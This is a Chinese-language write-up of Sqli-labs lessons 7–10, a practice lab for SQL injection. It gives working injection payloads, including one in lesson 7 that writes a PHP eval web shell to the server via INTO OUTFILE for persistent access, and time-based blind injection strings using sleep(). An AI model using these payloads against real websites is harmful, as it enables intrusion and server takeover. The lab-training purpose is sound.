Sqli-labs less7-10
Sqli-labs
为便于学习构造SQL语句的方式,需在每个less下的index.php文件中添加输出SQL语句的代码:

less7:
判断是否存在SQL注入以及闭合方式:输入?id=1正确,输入?id=1'))报错,输入?id=1'))--+正确,说明存在SQL注入,闭合方式是((''))

利用SQL语句将一句话木马写入创建的文件中:
输入?id=-1')) union select 1,2,'<?php @eval($_POST["zjj"]);?>' into outfile 'D:\\phpStudy\\PHPTutorial\\WWW\\sqli-labs\\Less-7\\zjj.php' --+报错,访问创建的文件验证


使用AntSword连接一句话木马进行权限维持

less8:
输入?id=1显示You are in,输入?id=1'不显示You are in,说明存在SQL注入,闭合方式为''

找到注入点后有两种方式测试:一种是工具测试;一种是手工测试。
工具测试:
使用sqlmap工具,跑出存在布尔盲注和时间盲注,还有数据库版本等信息

继续用sqlmap工具跑出库名、表名、列名和数据,例如表名

手工测试:
布尔盲注不做赘述,着重讲时间盲注
科普:if(a,b,c)表示若a为ture,则执行b,若a为false,则执行c

科普:length(database())输出当前数据库名的长度

输入?id=1' and if(length(database())=7,sleep(10),1)--+,页面刷新时间大约为1s,说明当前数据库名的长度不为7

输入?id=1' and if(length(database())=8,sleep(10),1)--+,页面刷新时间大约为10s,说明当前数据库名的长度为8

总结:布尔盲注通过判断页面是否返回数据进行注入,事件盲注通过判断页面刷新时间进行注入
less9:
输入?id=1显示You are in,输入?id=1'显示You are in,输入?id=1)显示You are in,发现无论怎么闭合返回的页面都是一样的,说明不存在布尔盲注

输入?id=1) and sleep(10)--+,页面刷新时间大约为1s,输入?id=1' and sleep(10)--+,页面刷新时间大约为10s,说明存在时间盲注,闭合方式为'',其余与less8同理


less10:
与less9同理,存在时间盲注但不存在布尔盲注,闭合方式为""

浙公网安备 33010602011771号